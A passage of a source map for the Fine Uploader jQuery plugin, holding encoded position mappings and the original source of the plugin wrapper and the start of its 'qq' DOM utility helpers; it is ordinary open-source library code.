YoB,QAAQH,YAAY7zD,OAAO4d;uBAEtC;oBACDA,cAAchO,YAAYokD;;gBAG9B,IAAIF,aAAa;oBACbE,OAAO3zD,MAAMC,UAAU;oBACvBxE,GAAGk4D,QAAQ7xD,SAASwrD;uBAEnB;oBACDvtD,KAAKwxD,YAAY94C;oBACjB1Y,KAAKsgB,QAAQ5H;oBACb1Y,KAAKoxD,UAAU14C;oBACf1Y,KAAKyxD,SAAS/4C;oBACd1Y,KAAKuxD,SAAS74C;oBACd1Y,KAAKkxD,YAAYx4C;oBAEjB,IAAIk1C,kBAAkB;wBAClBjwD,KAAKypD,WAAW1uC;;oBAGpBo7C,QAAQtD,aAAa93C;oBACrB,IAAIo7C,UAAUA,MAAM5oB,KAAK;wBACrBukB,6BAA6Bt6C,KAAK,SAAS4+C;4BACvCD,MAAM5oB,MAAM6oB,WAAW7oB;4BACvB,IAAI6oB,WAAW9zD,MAAMyzB,aAAaqgC,WAAW9zD,MAAM0zB,UAAU;gCACzDj4B,GAAGo4D,OAAO7yD;oCACNyyB,WAAWqgC,WAAW9zD,MAAMyzB;oCAC5BC,UAAUogC,WAAW9zD,MAAM0zB;;;4BAInC28B,KAAKwD;;;;;YAMrB/J,gBAAgB,SAASrxC,IAAIhc,MAAM+2D,aAAaC;gBAC5C/1D,KAAK0b,QAAQX,IAAIhc,MAAM+2D,aAAaC,aAAa;;YAGrDrR,eAAe;gBACXh2B,SAAS7c,YAAYg+C,UAAUC;gBAC/BD,UAAUC,UAAUrlD,SAASslD;gBAC7BF,UAAUG;;YAGd9J,YAAY,SAASnrC;gBACjBhd,GAAG4jB,QAAQ5G,KAAK3X;;YAGpByiD,WAAW,SAAS3jD;gBAChB,IAAIm0D,cAAcn0D;gBAElB,IAAIm0D,aAAa;oBAEb,OAAOA,YAAY1wD,aAAa0pD,iBAAiB,MAAM;wBACnDgH,cAAcA,YAAYlzD;;oBAG9B,OAAOs+B,SAAS40B,YAAY1wD,aAAa0pD;;;YAIjDiH,aAAa;gBACT,OAAO5nC;;YAGXi6B,sBAAsB,SAAS5tC;gBAC3B,IAAI3I,WAAWI,YAAYuI;gBAE3B3I,YAAYrU,GAAGqU,UAAUhO,SAASpH,QAAQ4sB,QAAQmkC;;YAGtDxI,gBAAgB,SAASxqC,IAAIhc;gBACzB,IAAIw3D,aAAa/jD,YAAYuI;gBAE7B,IAAIw7C,YAAY;oBACZx4D,GAAGw4D,YAAYpxD,QAAQpG;oBACvBw3D,WAAW3kD,aAAa,SAAS7S;;;YAIzCwpD,cAAc,SAASxtC;gBACnB1Y,KAAKmQ,YAAYuI;;YAGrB0tC,cAAc,SAAS1tC;gBACnB43C,KAAKngD,YAAYuI;;YAGrBy7C,YAAY,SAASt0D;gBACjB,OAAOnE,GAAGmE,IAAI4B,SAASwsD,gBAAgB3wC;;YAG3CqC,WAAW;gBACP,OAAOhlB,QAAQymB,UAAU6vC,cAAc1xC,WAAW0uC,gBAAgB7sC;;YAGtE2jC,oBAAoB;gBAChB/kD,KAAKqxD;;YAGTvM,oBAAoB;gBAChBwL,KAAKe;;YAGTxM,aAAa;gBACT,OAAOoM,cAAc1xC,WAAW0uC,gBAAgBO;;YAGpDjJ,wBAAwB;gBACpB,OAAOmK;;YAGXnJ,WAAW,SAAS7tC;gBAChB1Y,KAAKyxD,SAAS/4C;;YAGlBmvC,iBAAiB;gBACb,OAAO8H;;YAGX7H,WAAW,SAASpvC;gBAChB43C,KAAKmB,SAAS/4C;;YAGlBkqC,kBAAkB,SAASlqC;gBACvB,OAAO4G,QAAQ5G;;YAGnB2tC,cAAc,SAAS3tC;gBACnB,IAAI07C,OAAO9C,YAAY54C;gBAEvB07C,QAAQ14D,GAAG04D,MAAMryD,SAASpH,QAAQ4sB,QAAQmkC;;YAG9C/I,iBAAiB,SAASjqC;gBACtB,OAAOhd,GAAG4jB,QAAQ5G,KAAKjX,SAAS8rD;;YAGpCpH,cAAc,SAASztC;gBACnB,IAAI07C,OAAO9C,YAAY54C;gBAEvB07C,QAAQ14D,GAAG04D,MAAMpyD,YAAYrH,QAAQ4sB,QAAQmkC;;YAGjD2I,YAAY,SAASx0D;gBACjB,OAAOnE,GAAGmE,IAAI4B,SAASwsD,gBAAgBiB,cAAc;;YAGzDlJ,cAAc,SAASttC;gBACnB,OAAOu4C,cAAc3xC,QAAQ5G,KAAKu1C,gBAAgBgB;;YAGtDqF,aAAa,SAASz0D;gBAClB,OAAOnE,GAAGmE,IAAI4B,SAASwsD,gBAAgBgB,mBAAmB;;YAG9D9H,gBAAgB,SAASzuC,IAAI2P,QAAQC;gBACjC,IAAI2qC,MAAMzB,YAAY94C,KAClBs6C;gBAEJ,IAAIC,OAAO3qC,QAAQ,GAAG;oBAClB0qC,UAAU1xD,KAAKC,MAAM8mB,SAASC,QAAQ;oBAEtC,IAAI0qC,YAAY,KAAK;wBACjBhzD,KAAKizD;2BAEJ;wBACD3C,KAAK2C;;oBAGTF,oBAAoBr6C,IAAIs6C;;;YAIhC3Z,qBAAqB,SAAShxB,QAAQC;gBAClC3qB,KAAKwpD,eAAe,MAAM9+B,QAAQC;;YAGtC++B,cAAc,SAAS3uC;gBACnB,IAAIu6C,MAAMzB,YAAY94C;gBAEtBu6C,OAAOjzD,KAAKizD;;YAGhBM,mBAAmB;gBACf51D,KAAK0pD;;YAGTsB,eAAe,SAASjwC;gBACpBq6C,oBAAoBr6C,IAAI;gBACxB/a,KAAK41D,kBAAkB76C;;YAG3BouC,oBAAoB;gBAChBnpD,KAAKgrD;;YAGTf,YAAY,SAASlvC;gBACjB,KAAKk1C,kBAAkB;oBACnB,IAAIlwC,SAASszC,UAAUt4C;oBAEvBgF,UAAUhiB,GAAGgiB,QAAQ1b,YAAYrH,QAAQ4sB,QAAQvnB;;;YAIzDonD,YAAY,SAAS1uC;gBACjB1Y,KAAKgxD,UAAUt4C;;YAGnB67C,UAAU,SAAS10D;gBACf,OAAOnE,GAAGmE,IAAI4B,SAASwsD,gBAAgBvwC,QAAQ;;YAGnD0qC,YAAY,SAAS1vC;gBACjB43C,KAAKiB,SAAS74C;gBACd1Y,KAAKkxD,YAAYx4C;;YAGrByqC,cAAc,SAASzqC;gBACnB/a,KAAK6oD,cAAc9tC,IAAI/d,QAAQoI,KAAKyhC;gBACpC7mC,KAAK62D,oBAAoB97C;gBACzB1Y,KAAK0xD,WAAWh5C;;YAGpBiuC,WAAW,SAASjuC;gBAChB1Y,KAAKuxD,SAAS74C;;YAGlB+7C,SAAS,SAAS50D;gBACd,OAAOnE,GAAGmE,IAAI4B,SAASwsD,gBAAgB35C,OAAO;;YAGlDogD,kBAAkB,SAAS70D;gBACvB,OAAOnE,GAAGmE,IAAI4B,SAASwsD,gBAAgBa,gBAAgB;;YAG3D0F,qBAAqB,SAAS97C;gBAC1B43C,KAAKY,YAAYx4C;gBACjB1Y,KAAKuxD,SAAS74C;;YAGlB2qC,iBAAiB,SAAS3qC;gBACtB/a,KAAK6oD,cAAc9tC,IAAI;gBACvB/a,KAAKyqD,WAAW1vC;gBAChB43C,KAAKoB,WAAWh5C;;YAGpBuvC,kBAAkB,SAASvvC;gBACvB43C,KAAKc,UAAU14C;;YAGnBuwC,kBAAkB,SAASvwC;gBACvB1Y,KAAKoxD,UAAU14C;;YAGnBi8C,gBAAgB,SAAS90D;gBACrB,OAAOnE,GAAGmE,IAAI4B,SAASwsD,gBAAgBc,cAAc;;YAGzD6F,SAAS,SAAS/0D;gBACd,OAAOnE,GAAGmE,IAAI4B,SAASwsD,gBAAgBpsC,OAAO;;YAGlDpH,YAAY,SAAS/B,IAAI3V;gBACrB,IAAI0W,OAAO6G,QAAQ5H;gBAEnB,IAAIe,MAAM;oBACN62C,KAAK72C;oBACL/d,GAAG+d,MAAM3W,QAAQC;;;YAIzByjD,eAAe,SAAS9tC,IAAI3V;gBACxB,IAAI8xD,SAAS5D,cAAc3xC,QAAQ5G,KAAKu1C,gBAAgBe;gBAExD,IAAI6F,QAAQ;oBAER,IAAI9xD,QAAQ,MAAM;wBACdrH,GAAGm5D,QAAQ3xD;2BAEV;wBACDxH,GAAGm5D,QAAQ/xD,QAAQC;;;;YAK/B8jD,aAAa,SAASnuC;gBAClBhd,GAAG4jB,QAAQ5G,KAAK1W,YAAYsrD;gBAC5BttD,KAAK0xD,WAAWh5C;;YAGpByvC,aAAa,SAASzvC;gBAClBhd,GAAG4jB,QAAQ5G,KAAK3W,SAASurD;gBACzBgD,KAAKoB,WAAWh5C;;YAGpBwxC,iBAAiB,SAASxxC,IAAIi6C,eAAe3zC;gBACzC,KAAKrhB,KAAKglD,gBAAgBjqC,KAAK;oBAC3Bq1C,qBAAqBvwD;wBAAMkb,IAAIA;wBAAIsG,sBAAsBA;wBAAsB2zC,eAAeA;;qBAC7F7E,gCAAgC6C;;;YAIzC3G,iBAAiB,SAAStxC,IAAIkL,cAAckvC,gBAAgB9zC;gBACxD,KAAKrhB,KAAKglD,gBAAgBjqC,KAAK;oBAC3Bq1C,qBAAqBvwD;wBAAMwhB,sBAAsBA;wBAAsB6xC,QAAQ;wBAAMn4C,IAAIA;wBAAIkL,cAAcA;wBAAckvC,gBAAgBA;;qBACxIhF,gCAAgC6C;;;YAIzCzE,WAAW,SAASrtD;gBAChB,OAAOnD,GAAGwV,kBAAkB4C,mBAAmBq9C,UAAUtyD;;YAG7DstD,YAAY,SAASttD,MAAMd,SAASsuD;gBAChC,IAAIyI,SAAS3D,UAAUtyD,OACnBk2D,YAAY9D,cAAc6D,QAAQ7G,gBAAgBI,gBAClD2G,UAAUF,OAAOtyD,qBAAqB,SAAS,IAC/CyyD,YAAYhE,cAAc6D,QAAQ7G,gBAAgBE,qBAClD+G,QAAQjE,cAAc6D,QAAQ7G,gBAAgBK,iBAC9ClkD,UAAU,IAAI1O,GAAG2O,WAEjB8qD,eAAe;oBACXF,UAAU10D,oBAAoB,SAAS60D;oBACvCF,SAASA,MAAM30D,oBAAoB,SAAS80D;oBAC5CjrD,QAAQK;mBAGZ2qD,qBAAqB;oBACjBH,UAAU10D,oBAAoB,SAAS60D;oBACvCN,OAAOQ;mBAGXD,iBAAiB;oBACbP,OAAOv0D,oBAAoB,SAAS40D;oBACpCD,MAAM30D,oBAAoB,SAAS80D;oBACnCP,OAAOQ;oBAEPlrD,QAAQG,QAAQyqD,WAAWA,QAAQrvD;;gBAG3CmvD,OAAO10D,iBAAiB,SAAS+0D;gBACjCF,UAAU70D,iBAAiB,SAASg1D;gBACpCF,SAASA,MAAM90D,iBAAiB,SAASi1D;gBAEzC,IAAIL,SAAS;oBACTA,QAAQrvD,QAAQ0mD;;gBAEpB0I,UAAU9xD,cAAclF;gBAExB+2D,OAAOS;gBAEP,OAAOnrD;;;;IC/gCnB1O,GAAG85D,iBAAiB,SAASC,GAAGC;QAC5B;QAEA,IAAIjlD,WAAW,IAAI/U,GAAG4U,kBAClBgJ;YACIq8C,WAAW;YACXC,UAAU;YACVC,WAAW,SAAS/qD,QAAQ4mB;;QAKpCh2B,GAAG8F,OAAO7D;YACNupD,YAAY,SAAS9oD;gBACjB8oD,WAAW9oD;;YAGfoS,SAAS;gBACLC,SAASD;;;QAIjB,SAAS02C,WAAW9oD;YAChBqS,SAAStQ,OAAO/B,SAASkb,KAAKq8C,WAAW,SAASjkC;gBAE9CA,QAAQA,SAASxtB,OAAOwtB;gBAGxB,IAAI5mB,SAAS4mB,MAAM5mB,UAAU4mB,MAAMokC;gBAEnCx8C,KAAKu8C,UAAU/qD,QAAQ4mB;;;QAK/Bh2B,GAAG8F,OAAOk0D;YACNK,mBAAmB,SAAS7vD;gBACxB,OAAOA,KAAK8vD;;YAGhBC,mBAAmB;gBACf,OAAOxlD;;;QAIf/U,GAAG8F,OAAO8X,MAAMm8C;QAEhB,IAAIn8C,KAAKs8C,UAAU;YACf1O,WAAW5tC,KAAKs8C;;;IClDxBl6D,GAAGqoD,0BAA0B,SAAS0R;QAClC;QAEA,IAAIS,2BACA58C;YACIqrC,YAAY;YACZ7mD,KAAK,SAASC,SAASknD;YACvBC,cAAc,SAAStmC;YACvB8J,UAAU,SAAS9J;YACnBumC,SAAS,SAASvmC;YAClBwmC,SAAS,SAASxmC;YAClBymC,YAAY,SAASzmC;YACrB0mC,WAAW,SAAS1mC;WAExBu3C;YACIz4C,QAAQ,SAAShF;gBAAMY,KAAKoP,SAAShQ;;YACrCmJ,OAAQ,SAASnJ;gBAAMY,KAAK6rC,QAAQzsC;;YACpCq2C,cAAc,SAASr2C;gBAAMY,KAAK4rC,aAAaxsC;;YAC/CpE,OAAO,SAASoE;gBAAMY,KAAK8rC,QAAQ1sC;;YACnCo2C,gBAAgB,SAASp2C;gBAAMY,KAAK+rC,WAAW3sC;;;QAGvD,SAAS09C,aAAatrD,QAAQ4mB;YAC1Bh2B,GAAGY,KAAK65D,gBAAgB,SAASE,YAAYrqC;gBACzC,IAAIsqC,2BAA2BD,WAAW/6D,OAAO,GAAGC,gBAAgB86D,WAAW76D,MAAM,IACjFojB;gBAEJ,IAAItF,KAAKqrC,WAAW,OAAO2R,0BAA0BxrD,SAAS;oBAC1D8T,SAAStF,KAAKqrC,WAAWnB,UAAU14C;oBACnCpP,GAAG2R,eAAeqkB;oBAClBpY,KAAKxb,IAAIpC,GAAGgL,OAAO,gEAAgE4S,KAAKgsC,UAAU1mC,SAASA;oBAC3GoN,QAAQpN;oBACR,OAAO;;;;QAKnBljB,GAAG8F,OAAO8X,MAAMm8C;QAEhBn8C,KAAKq8C,YAAY;QACjBr8C,KAAKu8C,YAAYO;QACjB98C,KAAKs8C,WAAWt8C,KAAKqrC,WAAWsP;QAEhCv4D,GAAG8F,OAAO7D,MAAM,IAAIjC,GAAG85D,eAAel8C,MAAM48C;;IC1ChDx6D,GAAG8pD,uBAAuB,SAASiQ;QAC/B;QAEA,IAAIS,2BACA58C;YACIqrC,YAAY;YACZ7mD,KAAK,SAASC,SAASknD;YACvB19B;gBACIjK,MAAM;gBACN4xC,cAAc;;YAElBvJ,mBAAmB,SAAS/mC;YAC5B0mC,WAAW,SAAS1mC;;QAG5BljB,GAAG8F,OAAO8X,MAAMm8C;QAGhB,SAASW,aAAatrD,QAAQ4mB;YAC1B,IAAIpY,KAAKqrC,WAAWwP,WAAWrpD,WAAWwO,KAAKqrC,WAAW0P,WAAWvpD,SAAS;gBAC1E,IAAI8T,SAAStF,KAAKqrC,WAAWnB,UAAU14C,SACnCiO,SAASO,KAAKqsC,kBAAkB/mC;gBAGpC,IAAI7F,WAAWrd,GAAGqd,OAAOiC,WAAW;oBAChC1B,KAAKxb,IAAIpC,GAAGgL,OAAO,6DAA6D4S,KAAKgsC,UAAU1mC,SAASA;oBACxGljB,GAAG2R,eAAeqkB;oBAElBwkC,qBAAqBK,mBAAmB33C,QAAQ9T,QAAQ;;;;QAKpEwO,KAAKq8C,YAAY;QACjBr8C,KAAKu8C,YAAYO;QAEjB16D,GAAG8F,OAAO7D,MAAM,IAAIjC,GAAG86D,oBAAoBl9C,MAAM48C;;ICpCrDx6D,GAAGkrD,8BAA8B,SAAS6O,GAAGS;QACzC;QAEA,IAAI58C;YACIqrC,YAAY;YACZgB,mBAAmB,SAAS/mC;YAC5B9gB,KAAK,SAASC,SAASknD;;QAG/B,KAAKiR,sBAAsB;YACvBA;;QAIJ,SAASO,iBAAiB3rD,QAAQ4mB;YAC9B,IAAIpY,KAAKqrC,WAAW2P,YAAYxpD,SAAS;gBACrC,IAAI8T,SAAStF,KAAKqrC,WAAWnB,UAAU14C,SACnCiO,SAASO,KAAKqsC,kBAAkB/mC;gBAEpC,IAAI7F,WAAWrd,GAAGqd,OAAOiC,WAAW;oBAChC1B,KAAKxb,IAAIpC,GAAGgL,OAAO,mEAAmE4S,KAAKgsC,UAAU1mC,SAASA;oBAC9Gs3C,qBAAqBK,mBAAmB33C,QAAQ9T;;;;QAK5DwO,KAAKq8C,YAAY;QACjBr8C,KAAKu8C,YAAYY;QAEjB/6D,GAAG8F,OAAO8X,MAAMm8C;QAChB/5D,GAAG8F,OAAO7D,MAAM,IAAIjC,GAAG86D,oBAAoBl9C,MAAM48C;;ICzBrDx6D,GAAG+pD,4BAA4B,SAASnsC;QACpC;QAEAA,KAAKq8C,YAAY;QACjBr8C,KAAKs8C,WAAW;QAEhBl6D,GAAG8F,OAAO7D,MAAM,IAAIjC,GAAGkrD,4BAA4BttC;;ICVvD5d,GAAG86D,sBAAsB,SAASf,GAAGS;QACjC;QAEA,IAAI58C;YACIqrC,YAAY;YACZ7mD,KAAK,SAASC,SAASknD;YACvBU,mBAAmB,SAAS/mC;YAC5B0mC,WAAW,SAAS1mC;YACpBgnC,WAAW,SAAShnC,QAAQpE;YAC5BqrC,uBAAuB,SAASjnC,QAAQknC;;QAGhD,SAAS4Q,yBAAyB93C;YAC9B,IAAI+3C,kBAAkBr9C,KAAKgsC,UAAU1mC,SACjC5O,SAAS2mD,gBAAgB1mD,YAAY;YAEzC,IAAID,SAAS,GAAG;gBACZ2mD,kBAAkBA,gBAAgBzmD,OAAO,GAAGF;;YAGhD,OAAO2mD;;QAGX,SAASC,qBAAqBh4C;YAC1B,IAAIi4C,WAAWv9C,KAAKgsC,UAAU1mC;YAC9B,OAAOljB,GAAGoU,aAAa+mD;;QAI3B,SAASC,iBAAiBC,oBAAoBn4C;YAC1C,IAAIpE,UAAUu8C,mBAAmBpxD,OAC7BqxD;YAEJ,IAAIx8C,YAAYxe,aAAaN,GAAG4K,QAAQkU,SAAS1a,SAAS,GAAG;gBACzDk3D,gBAAgBJ,qBAAqBh4C;gBAErC,IAAIo4C,kBAAkBh7D,WAAW;oBAC7Bwe,UAAUA,UAAU,MAAMw8C;;gBAG9B19C,KAAKssC,UAAUhnC,QAAQpE;;YAG3BlB,KAAKusC,sBAAsBjnC,QAAQ;;QAIvC,SAASq4C,yBAAyBjC,SAASp2C;YACvCs3C,qBAAqBD,oBAAoB91D,OAAO60D,SAAS,QAAQ;gBAC7D8B,iBAAiB9B,SAASp2C;;;QAKlC,SAASs4C,6BAA6BlC,SAASp2C;YAC3Cs3C,qBAAqBD,oBAAoB91D,OAAO60D,SAAS,SAAS,SAAStjC;gBAEvE,IAAInE,OAAOmE,MAAMylC,WAAWzlC,MAAM0lC;gBAElC,IAAI7pC,SAAS,IAAI;oBACbupC,iBAAiB9B,SAASp2C;;;;QAKtCljB,GAAG8F,OAAO8X,MAAMm8C;QAEhBn8C,KAAKs8C,WAAWt8C,KAAKqrC,WAAWsP;QAEhCv4D,GAAG8F,OAAO7D,MAAM,IAAIjC,GAAG85D,eAAel8C,MAAM48C;QAE5Cx6D,GAAG8F,OAAO00D;YACNK,oBAAoB,SAAS79C,IAAI5N,QAAQusD;gBACrC,IAAIN,qBAAqBz9C,KAAKqrC,WAAWqB,aAAattC;gBAEtDY,KAAKusC,sBAAsBntC,IAAI;gBAE/Bq+C,mBAAmBpxD,QAAQ+wD,yBAAyBh+C;gBAEpD,IAAI2+C,YAAY;oBACZN,mBAAmBO;;gBAGvBL,yBAAyBF,oBAAoBr+C;gBAC7Cw+C,6BAA6BH,oBAAoBr+C;;;;G5CvF9BxU","file":"jquery.fine-uploader.js","sourcesContent":[null,"/*globals jQuery, qq*/\n(function($) {\n    \"use strict\";\n    var $el,\n        pluginOptions = [\"uploaderType\", \"endpointType\"];\n\n    function init(options) {\n        var xformedOpts = transformVariables(options || {}),\n            newUploaderInstance = getNewUploaderInstance(xformedOpts);\n\n        uploader(newUploaderInstance);\n        addCallbacks(xformedOpts, newUploaderInstance);\n\n        return $el;\n    }\n\n    function getNewUploaderInstance(params) {\n        var uploaderType = pluginOption(\"uploaderType\"),\n            namespace = pluginOption(\"endpointType\");\n\n        // If the integrator has defined a specific type of uploader to load, use that, otherwise assume `qq.FineUploader`\n        if (uploaderType) {\n            // We can determine the correct constructor function to invoke by combining \"FineUploader\"\n            // with the upper camel cased `uploaderType` value.\n            uploaderType = uploaderType.charAt(0).toUpperCase() + uploaderType.slice(1).toLowerCase();\n\n            if (namespace) {\n                return new qq[namespace][\"FineUploader\" + uploaderType](params);\n            }\n\n            return new qq[\"FineUploader\" + uploaderType](params);\n        }\n        else {\n            if (namespace) {\n                return new qq[namespace].FineUploader(params);\n            }\n\n            return new qq.FineUploader(params);\n        }\n    }\n\n    function dataStore(key, val) {\n        var data = $el.data(\"fineuploader\");\n\n        if (val) {\n            if (data === undefined) {\n                data = {};\n            }\n            data[key] = val;\n            $el.data(\"fineuploader\", data);\n        }\n        else {\n            if (data === undefined) {\n                return null;\n            }\n            return data[key];\n        }\n    }\n\n    //the underlying Fine Uploader instance is stored in jQuery's data stored, associated with the element\n    // tied to this instance of the plug-in\n    function uploader(instanceToStore) {\n        return dataStore(\"uploader\", instanceToStore);\n    }\n\n    function pluginOption(option, optionVal) {\n        return dataStore(option, optionVal);\n    }\n\n    // Implement all callbacks defined in Fine Uploader as functions that trigger appropriately names events and\n    // return the result of executing the bound handler back to Fine Uploader\n    function addCallbacks(transformedOpts, newUploaderInstance) {\n        var callbacks = transformedOpts.callbacks = {};\n\n        $.each(newUploaderInstance._options.callbacks, function(prop, nonJqueryCallback) {\n            var name, callbackEventTarget;\n\n            name = /^on(\\w+)/.exec(prop)[1];\n            name = name.substring(0, 1).toLowerCase() + name.substring(1);\n            callbackEventTarget = $el;\n\n            callbacks[prop] = function() {\n                var originalArgs = Array.prototype.slice.call(arguments),\n                    transformedArgs = [],\n                    nonJqueryCallbackRetVal, jqueryEventCallbackRetVal;\n\n                $.each(originalArgs, function(idx, arg) {\n                    transformedArgs.push(maybeWrapInJquery(arg));\n                });\n\n                nonJqueryCallbackRetVal = nonJqueryCallback.apply(this, originalArgs);\n\n                try {\n                    jqueryEventCallbackRetVal = callbackEventTarget.triggerHandler(name, transformedArgs);\n                }\n                catch (error) {\n                    qq.log(\"Caught error in Fine Uploader jQuery event handler: \" + error.message, \"error\");\n                }\n\n                /*jshint -W116*/\n                if (nonJqueryCallbackRetVal != null) {\n                    return nonJqueryCallbackRetVal;\n                }\n                return jqueryEventCallbackRetVal;\n            };\n        });\n\n        newUploaderInstance._options.callbacks = callbacks;\n    }\n\n    //transform jQuery objects into HTMLElements, and pass along all other option properties\n    function transformVariables(source, dest) {\n        var xformed, arrayVals;\n\n        if (dest === undefined) {\n            if (source.uploaderType !== \"basic\") {\n                xformed = { element: $el[0] };\n            }\n            else {\n                xformed = {};\n            }\n        }\n        else {\n            xformed = dest;\n        }\n\n        $.each(source, function(prop, val) {\n            if ($.inArray(prop, pluginOptions) >= 0) {\n                pluginOption(prop, val);\n            }\n            else if (val instanceof $) {\n                xformed[prop] = val[0];\n            }\n            else if ($.isPlainObject(val)) {\n                xformed[prop] = {};\n                transformVariables(val, xformed[prop]);\n            }\n            else if ($.isArray(val)) {\n                arrayVals = [];\n                $.each(val, function(idx, arrayVal) {\n                    var arrayObjDest = {};\n\n                    if (arrayVal instanceof $) {\n                        $.merge(arrayVals, arrayVal);\n                    }\n                    else if ($.isPlainObject(arrayVal)) {\n                        transformVariables(arrayVal, arrayObjDest);\n                        arrayVals.push(arrayObjDest);\n                    }\n                    else {\n                        arrayVals.push(arrayVal);\n                    }\n                });\n                xformed[prop] = arrayVals;\n            }\n            else {\n                xformed[prop] = val;\n            }\n        });\n\n        if (dest === undefined) {\n            return xformed;\n        }\n    }\n\n    function isValidCommand(command) {\n        return $.type(command) === \"string\" &&\n            !command.match(/^_/) && //enforce private methods convention\n            uploader()[command] !== undefined;\n    }\n\n    // Assuming we have already verified that this is a valid command, call the associated function in the underlying\n    // Fine Uploader instance (passing along the arguments from the caller) and return the result of the call back to the caller\n    function delegateCommand(command) {\n        var xformedArgs = [],\n            origArgs = Array.prototype.slice.call(arguments, 1),\n            retVal;\n\n        transformVariables(origArgs, xformedArgs);\n\n        retVal = uploader()[command].apply(uploader(), xformedArgs);\n\n        return maybeWrapInJquery(retVal);\n    }\n\n    // If the value is an `HTMLElement` or `HTMLDocument`, wrap it in a `jQuery` object\n    function maybeWrapInJquery(val) {\n        var transformedVal = val;\n\n        // If the command is returning an `HTMLElement` or `HTMLDocument`, wrap it in a `jQuery` object\n        /*jshint -W116*/\n        if (val != null && typeof val === \"object\" &&\n           (val.nodeType === 1 || val.nodeType === 9) && val.cloneNode) {\n\n            transformedVal = $(val);\n        }\n\n        return transformedVal;\n    }\n\n    $.fn.fineUploader = function(optionsOrCommand) {\n        var self = this, selfArgs = arguments, retVals = [];\n\n        this.each(function(index, el) {\n            $el = $(el);\n\n            if (uploader() && isValidCommand(optionsOrCommand)) {\n                retVals.push(delegateCommand.apply(self, selfArgs));\n\n                if (self.length === 1) {\n                    return false;\n                }\n            }\n            else if (typeof optionsOrCommand === \"object\" || !optionsOrCommand) {\n                init.apply(self, selfArgs);\n            }\n            else {\n                $.error(\"Method \" +  optionsOrCommand + \" does not exist on jQuery.fineUploader\");\n            }\n        });\n\n        if (retVals.length === 1) {\n            return retVals[0];\n        }\n        else if (retVals.length > 1) {\n            return retVals;\n        }\n\n        return this;\n    };\n\n}(jQuery));\n","/*globals window, navigator, document, FormData, File, HTMLInputElement, XMLHttpRequest, Blob, Storage, ActiveXObject */\n/* jshint -W079 */\nvar qq = function(element) {\n    \"use strict\";\n\n    return {\n        hide: function() {\n            element.style.display = \"none\";\n            return this;\n        },\n\n        /** Returns the function which detaches attached event */\n        attach: function(type, fn) {\n            if (element.addEventListener) {\n                element.addEventListener(type, fn, false);\n            } else if (element.attachEvent) {\n                element.attachEvent(\"on\" + type, fn);\n            }\n            return function() {\n                qq(element).detach(type, fn);\n            };\n        },\n\n        detach: function(type, fn) {\n            if (element.removeEventListener) {\n                element.removeEventListener(type, fn, false);\n            } else if (element.attachEvent) {\n                element.detachEvent(\"on\" + type, fn);\n            }\n            return this;\n        },\n\n        contains: function(descendant) {\n            // The [W3C spec](http://www.w3.org/TR/domcore/#dom-node-contains)\n            // says a `null` (or ostensibly `undefined`) parameter\n            // passed into `Node.contains` should result in a false return value.\n            // IE7 throws an exception if the parameter is `undefined` though.\n            if (!descendant) {\n                return false;\n            }\n\n            // compareposition returns false in this case\n            if (element === descendant) {\n                return true;\n            }\n\n            if (element.contains) {\n                return element.contains(descendant);\n            } else {\n                /*jslint bitwise: true*/\n                return !!(descendant.compareDocumentPosition(element) & 8);\n            }\n        },\n\n        /**\n         * Insert this element before elementB.\n         */\n        insertBefore: function(elementB) {\n            elementB.parentNode.insertBefore(element, elementB);\n            return this;\n        },\n\n        remove: function() {\n            element.parentNode.removeChild(element);\n            return this;\n        },\n\n        /**\n         * Sets styles for an element.\n         * Fixes opacity in IE6-8.\n         */\n        css: function(styles) {\n            /*jshint eqnull: true*/\n            if (element.style == null) {\n                throw new qq.Error(\"Can't apply style to node as it is not on the HTMLElement prototype chain!\");\n            }\n\n            /*jshint -W116*/\n            if (styles.opacity != null) {\n                if (typeof element.style.opacity !== \"string\" && typeof (element.filters) !== \"undefined\") {\n                    styles.filter = \"alpha(opacity=\" + Math.round(100 * styles.opacity) + \")\";\n                }\n            }\n            qq.extend(element.style, styles);\n\n            return this;\n        },\n\n        hasClass: function(name, considerParent) {\n            var re = new RegExp(\"(^| )\" + name + \"( |$)\");\n            return re.test(element.className) || !!(considerParent && re.test(element.parentNode.className));\n        },\n\n        addClass: function(name) {\n            if (!qq(element).hasClass(name)) {\n                element.className += \" \" + name;\n            }\n            return this;\n        },\n\n        removeClass: function(name) {\n            var re = new RegExp(\"(^| )\" + name + \"( |$)\");\n            element.className = element.className.replace(re, \" \").replace(/^\\s+|\\s+$/g, \"\");\n            return this;\n        },\n\n        getByClass: function(className, first) {\n            var candidates,\n                result = [];\n\n            if (first && element.querySelector) {\n                return element.querySelector(\".\" + className);\n            }\n            else if (element.querySelectorAll) {\n                return element.querySelectorAll(\".\" + className);\n            }\n\n            candidates = element.getElementsByTagName(\"*\");\n\n            qq.each(candidates, function(idx, val) {\n                if (qq(val).hasClass(className)) {\n                    result.push(val);\n                }\n            });\n            return first ? result[0] : result;\n        },\n\n        getFirstByClass: function(className) {\n            return qq(element).getByClass(className, true);\n        },\n\n        children: function() {\n            var children = [],\n                child = element.firstChild;\n\n            while (child) {\n                if (child.nodeType === 1) {\n                    children.push(child);\n                }\n                child = child.nextSibling;\n            }\n\n            return children;\n        },\n\n        setText: function(text) {\n            element.innerText = text;\n            element.textContent = text;\n            return this;\n        },\n\n        clearText: function() {\n            return qq(element).setText(\"\");\n        },\n\n        // Returns true if the attribute exists on the element\n        // AND the value of the attribute is NOT \"false\" (case-insensitive)\n        hasAttribute: function(attrName) {\n            var attrVal;\n\n            if (element.hasAttribute) {\n\n                if (!element.hasAttribute(attrName)) {\n                    return false;\n                }\n\n                /*jshint -W116*/\n                return (/^false$/i).exec(element.getAttribute(attrName)) == null;\n            }\n            else {\n                attrVal = element[attrName];\n\n                if (attrVal === undefined) {\n                    return false;\n                }\n\n                /*jshint -W116*/\n                return (/^false$/i).exec(attrVal) == null;\n            }\n        }\n    };\n};\n\n(function() {\n    \"use strict\";\n\n    qq.canvasToBlob = function(canvas, mime, quality) {\n        return qq.dataUriToBlob(canvas.toDataURL(mime, quality));\n    };\n\n    qq.dataUriToBlob = function(dataUri) {\n        var arrayBuffer, byteString,\n            createBlob = function(data, mime) {\n                var BlobBuilder = window.BlobBuilder ||\n                        window.WebKitBlobBuilder ||\n                        window.MozBlobBuilder ||\n                        window.MSBlobBuilder,\n                    blobBuilder = BlobBuilder && new BlobBuilder();\n\n                if (blobBuilder) {\n                    blobBuilder.append(data);\n                    return blobBuilder.getBlob(mime);\n                }\n                else {\n                    return new Blob([data], {type: mime});\n                }\n            },\n            intArray, mimeString;\n\n        // convert base64 to raw binary data held in a string\n        if 